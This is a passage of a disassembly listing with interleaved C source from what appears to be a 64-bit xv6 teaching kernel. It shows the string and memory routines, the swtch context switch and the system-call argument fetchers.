ffff800000107bf6: 48 89 fe mov %rdi,%rsi
ffff800000107bf9: 48 89 75 f8 mov %rsi,-0x8(%rbp)
ffff800000107bfd: 89 55 f0 mov %edx,-0x10(%rbp)
}
ffff800000107c00: 90 nop
ffff800000107c01: c9 leaveq
ffff800000107c02: c3 retq
ffff800000107c03 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint64 n)
{
ffff800000107c03: f3 0f 1e fa endbr64
ffff800000107c07: 55 push %rbp
ffff800000107c08: 48 89 e5 mov %rsp,%rbp
ffff800000107c0b: 48 83 ec 18 sub $0x18,%rsp
ffff800000107c0f: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107c13: 89 75 f4 mov %esi,-0xc(%rbp)
ffff800000107c16: 48 89 55 e8 mov %rdx,-0x18(%rbp)
if ((addr_t)dst%4 == 0 && n%4 == 0){
ffff800000107c1a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107c1e: 83 e0 03 and $0x3,%eax
ffff800000107c21: 48 85 c0 test %rax,%rax
ffff800000107c24: 75 53 jne ffff800000107c79 <memset+0x76>
ffff800000107c26: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107c2a: 83 e0 03 and $0x3,%eax
ffff800000107c2d: 48 85 c0 test %rax,%rax
ffff800000107c30: 75 47 jne ffff800000107c79 <memset+0x76>
c &= 0xFF;
ffff800000107c32: 81 65 f4 ff 00 00 00 andl $0xff,-0xc(%rbp)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
ffff800000107c39: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107c3d: 48 c1 e8 02 shr $0x2,%rax
ffff800000107c41: 89 c6 mov %eax,%esi
ffff800000107c43: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000107c46: c1 e0 18 shl $0x18,%eax
ffff800000107c49: 89 c2 mov %eax,%edx
ffff800000107c4b: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000107c4e: c1 e0 10 shl $0x10,%eax
ffff800000107c51: 09 c2 or %eax,%edx
ffff800000107c53: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000107c56: c1 e0 08 shl $0x8,%eax
ffff800000107c59: 09 d0 or %edx,%eax
ffff800000107c5b: 0b 45 f4 or -0xc(%rbp),%eax
ffff800000107c5e: 89 c1 mov %eax,%ecx
ffff800000107c60: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107c64: 89 f2 mov %esi,%edx
ffff800000107c66: 89 ce mov %ecx,%esi
ffff800000107c68: 48 89 c7 mov %rax,%rdi
ffff800000107c6b: 48 b8 c9 7b 10 00 00 movabs $0xffff800000107bc9,%rax
ffff800000107c72: 80 ff ff
ffff800000107c75: ff d0 callq *%rax
ffff800000107c77: eb 1e jmp ffff800000107c97 <memset+0x94>
} else
stosb(dst, c, n);
ffff800000107c79: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107c7d: 89 c2 mov %eax,%edx
ffff800000107c7f: 8b 4d f4 mov -0xc(%rbp),%ecx
ffff800000107c82: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107c86: 89 ce mov %ecx,%esi
ffff800000107c88: 48 89 c7 mov %rax,%rdi
ffff800000107c8b: 48 b8 8f 7b 10 00 00 movabs $0xffff800000107b8f,%rax
ffff800000107c92: 80 ff ff
ffff800000107c95: ff d0 callq *%rax
return dst;
ffff800000107c97: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000107c9b: c9 leaveq
ffff800000107c9c: c3 retq
ffff800000107c9d <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
ffff800000107c9d: f3 0f 1e fa endbr64
ffff800000107ca1: 55 push %rbp
ffff800000107ca2: 48 89 e5 mov %rsp,%rbp
ffff800000107ca5: 48 83 ec 28 sub $0x28,%rsp
ffff800000107ca9: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000107cad: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000107cb1: 89 55 dc mov %edx,-0x24(%rbp)
const uchar *s1, *s2;
s1 = v1;
ffff800000107cb4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107cb8: 48 89 45 f8 mov %rax,-0x8(%rbp)
s2 = v2;
ffff800000107cbc: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000107cc0: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(n-- > 0){
ffff800000107cc4: eb 36 jmp ffff800000107cfc <memcmp+0x5f>
if(*s1 != *s2)
ffff800000107cc6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107cca: 0f b6 10 movzbl (%rax),%edx
ffff800000107ccd: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107cd1: 0f b6 00 movzbl (%rax),%eax
ffff800000107cd4: 38 c2 cmp %al,%dl
ffff800000107cd6: 74 1a je ffff800000107cf2 <memcmp+0x55>
return *s1 - *s2;
ffff800000107cd8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107cdc: 0f b6 00 movzbl (%rax),%eax
ffff800000107cdf: 0f b6 d0 movzbl %al,%edx
ffff800000107ce2: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107ce6: 0f b6 00 movzbl (%rax),%eax
ffff800000107ce9: 0f b6 c0 movzbl %al,%eax
ffff800000107cec: 29 c2 sub %eax,%edx
ffff800000107cee: 89 d0 mov %edx,%eax
ffff800000107cf0: eb 1c jmp ffff800000107d0e <memcmp+0x71>
s1++, s2++;
ffff800000107cf2: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
ffff800000107cf7: 48 83 45 f0 01 addq $0x1,-0x10(%rbp)
while(n-- > 0){
ffff800000107cfc: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107cff: 8d 50 ff lea -0x1(%rax),%edx
ffff800000107d02: 89 55 dc mov %edx,-0x24(%rbp)
ffff800000107d05: 85 c0 test %eax,%eax
ffff800000107d07: 75 bd jne ffff800000107cc6 <memcmp+0x29>
}
return 0;
ffff800000107d09: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000107d0e: c9 leaveq
ffff800000107d0f: c3 retq
ffff800000107d10 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
ffff800000107d10: f3 0f 1e fa endbr64
ffff800000107d14: 55 push %rbp
ffff800000107d15: 48 89 e5 mov %rsp,%rbp
ffff800000107d18: 48 83 ec 28 sub $0x28,%rsp
ffff800000107d1c: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000107d20: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000107d24: 89 55 dc mov %edx,-0x24(%rbp)
const char *s;
char *d;
s = src;
ffff800000107d27: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000107d2b: 48 89 45 f8 mov %rax,-0x8(%rbp)
d = dst;
ffff800000107d2f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107d33: 48 89 45 f0 mov %rax,-0x10(%rbp)
if(s < d && s + n > d){
ffff800000107d37: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107d3b: 48 3b 45 f0 cmp -0x10(%rbp),%rax
ffff800000107d3f: 73 63 jae ffff800000107da4 <memmove+0x94>
ffff800000107d41: 8b 55 dc mov -0x24(%rbp),%edx
ffff800000107d44: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107d48: 48 01 d0 add %rdx,%rax
ffff800000107d4b: 48 39 45 f0 cmp %rax,-0x10(%rbp)
ffff800000107d4f: 73 53 jae ffff800000107da4 <memmove+0x94>
s += n;
ffff800000107d51: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107d54: 48 01 45 f8 add %rax,-0x8(%rbp)
d += n;
ffff800000107d58: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107d5b: 48 01 45 f0 add %rax,-0x10(%rbp)
while(n-- > 0)
ffff800000107d5f: eb 17 jmp ffff800000107d78 <memmove+0x68>
*--d = *--s;
ffff800000107d61: 48 83 6d f8 01 subq $0x1,-0x8(%rbp)
ffff800000107d66: 48 83 6d f0 01 subq $0x1,-0x10(%rbp)
ffff800000107d6b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107d6f: 0f b6 10 movzbl (%rax),%edx
ffff800000107d72: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107d76: 88 10 mov %dl,(%rax)
while(n-- > 0)
ffff800000107d78: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107d7b: 8d 50 ff lea -0x1(%rax),%edx
ffff800000107d7e: 89 55 dc mov %edx,-0x24(%rbp)
ffff800000107d81: 85 c0 test %eax,%eax
ffff800000107d83: 75 dc jne ffff800000107d61 <memmove+0x51>
if(s < d && s + n > d){
ffff800000107d85: eb 2a jmp ffff800000107db1 <memmove+0xa1>
} else
while(n-- > 0)
*d++ = *s++;
ffff800000107d87: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000107d8b: 48 8d 42 01 lea 0x1(%rdx),%rax
ffff800000107d8f: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000107d93: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107d97: 48 8d 48 01 lea 0x1(%rax),%rcx
ffff800000107d9b: 48 89 4d f0 mov %rcx,-0x10(%rbp)
ffff800000107d9f: 0f b6 12 movzbl (%rdx),%edx
ffff800000107da2: 88 10 mov %dl,(%rax)
while(n-- > 0)
ffff800000107da4: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107da7: 8d 50 ff lea -0x1(%rax),%edx
ffff800000107daa: 89 55 dc mov %edx,-0x24(%rbp)
ffff800000107dad: 85 c0 test %eax,%eax
ffff800000107daf: 75 d6 jne ffff800000107d87 <memmove+0x77>
return dst;
ffff800000107db1: 48 8b 45 e8 mov -0x18(%rbp),%rax
}
ffff800000107db5: c9 leaveq
ffff800000107db6: c3 retq
ffff800000107db7 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
ffff800000107db7: f3 0f 1e fa endbr64
ffff800000107dbb: 55 push %rbp
ffff800000107dbc: 48 89 e5 mov %rsp,%rbp
ffff800000107dbf: 48 83 ec 18 sub $0x18,%rsp
ffff800000107dc3: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107dc7: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff800000107dcb: 89 55 ec mov %edx,-0x14(%rbp)
return memmove(dst, src, n);
ffff800000107dce: 8b 55 ec mov -0x14(%rbp),%edx
ffff800000107dd1: 48 8b 4d f0 mov -0x10(%rbp),%rcx
ffff800000107dd5: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107dd9: 48 89 ce mov %rcx,%rsi
ffff800000107ddc: 48 89 c7 mov %rax,%rdi
ffff800000107ddf: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff800000107de6: 80 ff ff
ffff800000107de9: ff d0 callq *%rax
}
ffff800000107deb: c9 leaveq
ffff800000107dec: c3 retq
ffff800000107ded <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
ffff800000107ded: f3 0f 1e fa endbr64
ffff800000107df1: 55 push %rbp
ffff800000107df2: 48 89 e5 mov %rsp,%rbp
ffff800000107df5: 48 83 ec 18 sub $0x18,%rsp
ffff800000107df9: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107dfd: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff800000107e01: 89 55 ec mov %edx,-0x14(%rbp)
while(n > 0 && *p && *p == *q)
ffff800000107e04: eb 0e jmp ffff800000107e14 <strncmp+0x27>
n--, p++, q++;
ffff800000107e06: 83 6d ec 01 subl $0x1,-0x14(%rbp)
ffff800000107e0a: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
ffff800000107e0f: 48 83 45 f0 01 addq $0x1,-0x10(%rbp)
while(n > 0 && *p && *p == *q)
ffff800000107e14: 83 7d ec 00 cmpl $0x0,-0x14(%rbp)
ffff800000107e18: 74 1d je ffff800000107e37 <strncmp+0x4a>
ffff800000107e1a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107e1e: 0f b6 00 movzbl (%rax),%eax
ffff800000107e21: 84 c0 test %al,%al
ffff800000107e23: 74 12 je ffff800000107e37 <strncmp+0x4a>
ffff800000107e25: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107e29: 0f b6 10 movzbl (%rax),%edx
ffff800000107e2c: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107e30: 0f b6 00 movzbl (%rax),%eax
ffff800000107e33: 38 c2 cmp %al,%dl
ffff800000107e35: 74 cf je ffff800000107e06 <strncmp+0x19>
if(n == 0)
ffff800000107e37: 83 7d ec 00 cmpl $0x0,-0x14(%rbp)
ffff800000107e3b: 75 07 jne ffff800000107e44 <strncmp+0x57>
return 0;
ffff800000107e3d: b8 00 00 00 00 mov $0x0,%eax
ffff800000107e42: eb 18 jmp ffff800000107e5c <strncmp+0x6f>
return (uchar)*p - (uchar)*q;
ffff800000107e44: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107e48: 0f b6 00 movzbl (%rax),%eax
ffff800000107e4b: 0f b6 d0 movzbl %al,%edx
ffff800000107e4e: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107e52: 0f b6 00 movzbl (%rax),%eax
ffff800000107e55: 0f b6 c0 movzbl %al,%eax
ffff800000107e58: 29 c2 sub %eax,%edx
ffff800000107e5a: 89 d0 mov %edx,%eax
}
ffff800000107e5c: c9 leaveq
ffff800000107e5d: c3 retq
ffff800000107e5e <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
ffff800000107e5e: f3 0f 1e fa endbr64
ffff800000107e62: 55 push %rbp
ffff800000107e63: 48 89 e5 mov %rsp,%rbp
ffff800000107e66: 48 83 ec 28 sub $0x28,%rsp
ffff800000107e6a: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000107e6e: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000107e72: 89 55 dc mov %edx,-0x24(%rbp)
char *os = s;
ffff800000107e75: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107e79: 48 89 45 f8 mov %rax,-0x8(%rbp)
while(n-- > 0 && (*s++ = *t++) != 0)
ffff800000107e7d: 90 nop
ffff800000107e7e: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107e81: 8d 50 ff lea -0x1(%rax),%edx
ffff800000107e84: 89 55 dc mov %edx,-0x24(%rbp)
ffff800000107e87: 85 c0 test %eax,%eax
ffff800000107e89: 7e 35 jle ffff800000107ec0 <strncpy+0x62>
ffff800000107e8b: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000107e8f: 48 8d 42 01 lea 0x1(%rdx),%rax
ffff800000107e93: 48 89 45 e0 mov %rax,-0x20(%rbp)
ffff800000107e97: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107e9b: 48 8d 48 01 lea 0x1(%rax),%rcx
ffff800000107e9f: 48 89 4d e8 mov %rcx,-0x18(%rbp)
ffff800000107ea3: 0f b6 12 movzbl (%rdx),%edx
ffff800000107ea6: 88 10 mov %dl,(%rax)
ffff800000107ea8: 0f b6 00 movzbl (%rax),%eax
ffff800000107eab: 84 c0 test %al,%al
ffff800000107ead: 75 cf jne ffff800000107e7e <strncpy+0x20>
;
while(n-- > 0)
ffff800000107eaf: eb 0f jmp ffff800000107ec0 <strncpy+0x62>
*s++ = 0;
ffff800000107eb1: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107eb5: 48 8d 50 01 lea 0x1(%rax),%rdx
ffff800000107eb9: 48 89 55 e8 mov %rdx,-0x18(%rbp)
ffff800000107ebd: c6 00 00 movb $0x0,(%rax)
while(n-- > 0)
ffff800000107ec0: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000107ec3: 8d 50 ff lea -0x1(%rax),%edx
ffff800000107ec6: 89 55 dc mov %edx,-0x24(%rbp)
ffff800000107ec9: 85 c0 test %eax,%eax
ffff800000107ecb: 7f e4 jg ffff800000107eb1 <strncpy+0x53>
return os;
ffff800000107ecd: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000107ed1: c9 leaveq
ffff800000107ed2: c3 retq
ffff800000107ed3 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
ffff800000107ed3: f3 0f 1e fa endbr64
ffff800000107ed7: 55 push %rbp
ffff800000107ed8: 48 89 e5 mov %rsp,%rbp
ffff800000107edb: 48 83 ec 28 sub $0x28,%rsp
ffff800000107edf: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000107ee3: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000107ee7: 89 55 dc mov %edx,-0x24(%rbp)
char *os = s;
ffff800000107eea: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107eee: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(n <= 0)
ffff800000107ef2: 83 7d dc 00 cmpl $0x0,-0x24(%rbp)
ffff800000107ef6: 7f 06 jg ffff800000107efe <safestrcpy+0x2b>
return os;
ffff800000107ef8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107efc: eb 39 jmp ffff800000107f37 <safestrcpy+0x64>
while(--n > 0 && (*s++ = *t++) != 0)
ffff800000107efe: 83 6d dc 01 subl $0x1,-0x24(%rbp)
ffff800000107f02: 83 7d dc 00 cmpl $0x0,-0x24(%rbp)
ffff800000107f06: 7e 24 jle ffff800000107f2c <safestrcpy+0x59>
ffff800000107f08: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000107f0c: 48 8d 42 01 lea 0x1(%rdx),%rax
ffff800000107f10: 48 89 45 e0 mov %rax,-0x20(%rbp)
ffff800000107f14: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107f18: 48 8d 48 01 lea 0x1(%rax),%rcx
ffff800000107f1c: 48 89 4d e8 mov %rcx,-0x18(%rbp)
ffff800000107f20: 0f b6 12 movzbl (%rdx),%edx
ffff800000107f23: 88 10 mov %dl,(%rax)
ffff800000107f25: 0f b6 00 movzbl (%rax),%eax
ffff800000107f28: 84 c0 test %al,%al
ffff800000107f2a: 75 d2 jne ffff800000107efe <safestrcpy+0x2b>
;
*s = 0;
ffff800000107f2c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107f30: c6 00 00 movb $0x0,(%rax)
return os;
ffff800000107f33: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000107f37: c9 leaveq
ffff800000107f38: c3 retq
ffff800000107f39 <strlen>:
int
strlen(const char *s)
{
ffff800000107f39: f3 0f 1e fa endbr64
ffff800000107f3d: 55 push %rbp
ffff800000107f3e: 48 89 e5 mov %rsp,%rbp
ffff800000107f41: 48 83 ec 18 sub $0x18,%rsp
ffff800000107f45: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int n;
for(n = 0; s[n]; n++)
ffff800000107f49: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000107f50: eb 04 jmp ffff800000107f56 <strlen+0x1d>
ffff800000107f52: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000107f56: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000107f59: 48 63 d0 movslq %eax,%rdx
ffff800000107f5c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107f60: 48 01 d0 add %rdx,%rax
ffff800000107f63: 0f b6 00 movzbl (%rax),%eax
ffff800000107f66: 84 c0 test %al,%al
ffff800000107f68: 75 e8 jne ffff800000107f52 <strlen+0x19>
;
return n;
ffff800000107f6a: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff800000107f6d: c9 leaveq
ffff800000107f6e: c3 retq
ffff800000107f6f <swtch>:
# and then load register context from new.
.global swtch
swtch:
# Save old callee-save registers
pushq %rbp
ffff800000107f6f: 55 push %rbp
pushq %rbx
ffff800000107f70: 53 push %rbx
pushq %r12
ffff800000107f71: 41 54 push %r12
pushq %r13
ffff800000107f73: 41 55 push %r13
pushq %r14
ffff800000107f75: 41 56 push %r14
pushq %r15
ffff800000107f77: 41 57 push %r15
# Switch stacks
movq %rsp, (%rdi)
ffff800000107f79: 48 89 27 mov %rsp,(%rdi)
movq %rsi, %rsp
ffff800000107f7c: 48 89 f4 mov %rsi,%rsp
# Load new callee-save registers
popq %r15
ffff800000107f7f: 41 5f pop %r15
popq %r14
ffff800000107f81: 41 5e pop %r14
popq %r13
ffff800000107f83: 41 5d pop %r13
popq %r12
ffff800000107f85: 41 5c pop %r12
popq %rbx
ffff800000107f87: 5b pop %rbx
popq %rbp
ffff800000107f88: 5d pop %rbp
retq #??
ffff800000107f89: c3 retq
ffff800000107f8a <fetchint>:
#include "syscall.h"
// Fetch the int at addr from the current process.
int
fetchint(addr_t addr, int *ip)
{
ffff800000107f8a: f3 0f 1e fa endbr64
ffff800000107f8e: 55 push %rbp
ffff800000107f8f: 48 89 e5 mov %rsp,%rbp
ffff800000107f92: 48 83 ec 10 sub $0x10,%rsp
ffff800000107f96: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107f9a: 48 89 75 f0 mov %rsi,-0x10(%rbp)
if(addr >= proc->sz || addr+sizeof(int) > proc->sz)
ffff800000107f9e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000107fa5: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107fa9: 48 8b 00 mov (%rax),%rax
ffff800000107fac: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000107fb0: 73 1b jae ffff800000107fcd <fetchint+0x43>
ffff800000107fb2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107fb6: 48 8d 50 04 lea 0x4(%rax),%rdx
ffff800000107fba: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000107fc1: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107fc5: 48 8b 00 mov (%rax),%rax
ffff800000107fc8: 48 39 c2 cmp %rax,%rdx
ffff800000107fcb: 76 07 jbe ffff800000107fd4 <fetchint+0x4a>
return -1;
ffff800000107fcd: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000107fd2: eb 11 jmp ffff800000107fe5 <fetchint+0x5b>
*ip = *(int*)(addr);
ffff800000107fd4: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107fd8: 8b 10 mov (%rax),%edx
ffff800000107fda: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107fde: 89 10 mov %edx,(%rax)
return 0;
ffff800000107fe0: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000107fe5: c9 leaveq
ffff800000107fe6: c3 retq
ffff800000107fe7 <fetchaddr>:
int
fetchaddr(addr_t addr, addr_t *ip)
{
ffff800000107fe7: f3 0f 1e fa endbr64
ffff800000107feb: 55 push %rbp
ffff800000107fec: 48 89 e5 mov %rsp,%rbp
ffff800000107fef: 48 83 ec 10 sub $0x10,%rsp
ffff800000107ff3: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107ff7: 48 89 75 f0 mov %rsi,-0x10(%rbp)
if(addr >= proc->sz || addr+sizeof(addr_t) > proc->sz)
ffff800000107ffb: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108002: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108006: 48 8b 00 mov (%rax),%rax
ffff800000108009: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff80000010800d: 73 1b jae ffff80000010802a <fetchaddr+0x43>
ffff80000010800f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108013: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff800000108017: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010801e: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108022: 48 8b 00 mov (%rax),%rax
ffff800000108025: 48 39 c2 cmp %rax,%rdx
ffff800000108028: 76 07 jbe ffff800000108031 <fetchaddr+0x4a>
return -1;
ffff80000010802a: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010802f: eb 13 jmp ffff800000108044 <fetchaddr+0x5d>
*ip = *(addr_t*)(addr);
ffff800000108031: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108035: 48 8b 10 mov (%rax),%rdx
ffff800000108038: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010803c: 48 89 10 mov %rdx,(%rax)
return 0;
ffff80000010803f: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000108044: c9 leaveq
ffff800000108045: c3 retq
ffff800000108046 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(addr_t addr, char **pp)
{
ffff800000108046: f3 0f 1e fa endbr64
ffff80000010804a: 55 push %rbp
ffff80000010804b: 48 89 e5 mov %rsp,%rbp
ffff80000010804e: 48 83 ec 20 sub $0x20,%rsp
ffff800000108052: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000108056: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *s, *ep;
if(addr >= proc->sz)
ffff80000010805a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108061: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108065: 48 8b 00 mov (%rax),%rax
ffff800000108068: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff80000010806c: 72 07 jb ffff800000108075 <fetchstr+0x2f>
return -1;
ffff80000010806e: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108073: eb 5c jmp ffff8000001080d1 <fetchstr+0x8b>
*pp = (char*)addr;
ffff800000108075: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000108079: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010807d: 48 89 10 mov %rdx,(%rax)
ep = (char*)proc->sz;
ffff800000108080: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108087: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010808b: 48 8b 00 mov (%rax),%rax
ffff80000010808e: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(s = *pp; s < ep; s++)
ffff800000108092: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000108096: 48 8b 00 mov (%rax),%rax
ffff800000108099: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010809d: eb 23 jmp ffff8000001080c2 <fetchstr+0x7c>
if(*s == 0)
ffff80000010809f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001080a3: 0f b6 00 movzbl (%rax),%eax
ffff8000001080a6: 84 c0 test %al,%al
ffff8000001080a8: 75 13 jne ffff8000001080bd <fetchstr+0x77>
return s - *pp;
ffff8000001080aa: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001080ae: 48 8b 00 mov (%rax),%rax
ffff8000001080b1: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001080b5: 48 29 c2 sub %rax,%rdx
ffff8000001080b8: 48 89 d0 mov %rdx,%rax
ffff8000001080bb: eb 14 jmp ffff8000001080d1 <fetchstr+0x8b>
for(s = *pp; s < ep; s++)
ffff8000001080bd: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
ffff8000001080c2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001080c6: 48 3b 45 f0 cmp -0x10(%rbp),%rax
ffff8000001080ca: 72 d3 jb ffff80000010809f <fetchstr+0x59>
return -1;
ffff8000001080cc: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff8000001080d1: c9 leaveq
ffff8000001080d2: c3 retq
ffff8000001080d3 <fetcharg>:
static addr_t
fetcharg(int n)
{
ffff8000001080d3: f3 0f 1e fa endbr64
ffff8000001080d7: 55 push %rbp
ffff8000001080d8: 48 89 e5 mov %rsp,%rbp
ffff8000001080db: 48 83 ec 10 sub $0x10,%rsp
ffff8000001080df: 89 7d fc mov %edi,-0x4(%rbp)
ffff8000001080e2: 83 7d fc 05 cmpl $0x5,-0x4(%rbp)
ffff8000001080e6: 0f 87 9c 00 00 00 ja ffff800000108188 <fetcharg+0xb5>
ffff8000001080ec: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001080ef: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff8000001080f6: 00
ffff8000001080f7: 48 b8 f0 c8 10 00 00 movabs $0xffff80000010c8f0,%rax
ffff8000001080fe: 80 ff ff
ffff800000108101: 48 01 d0 add %rdx,%rax
ffff800000108104: 48 8b 00 mov (%rax),%rax
ffff800000108107: 3e ff e0 notrack jmpq *%rax
switch (n) {
case 0: return proc->tf->rdi;
ffff80000010810a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108111: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108115: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000108119: 48 8b 40 30 mov 0x30(%rax),%rax
ffff80000010811d: eb 7f jmp ffff80000010819e <fetcharg+0xcb>
case 1: return proc->tf->rsi;
ffff80000010811f: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108126: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010812a: 48 8b 40 28 mov 0x28(%rax),%rax
ffff80000010812e: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000108132: eb 6a jmp ffff80000010819e <fetcharg+0xcb>
case 2: return proc->tf->rdx;
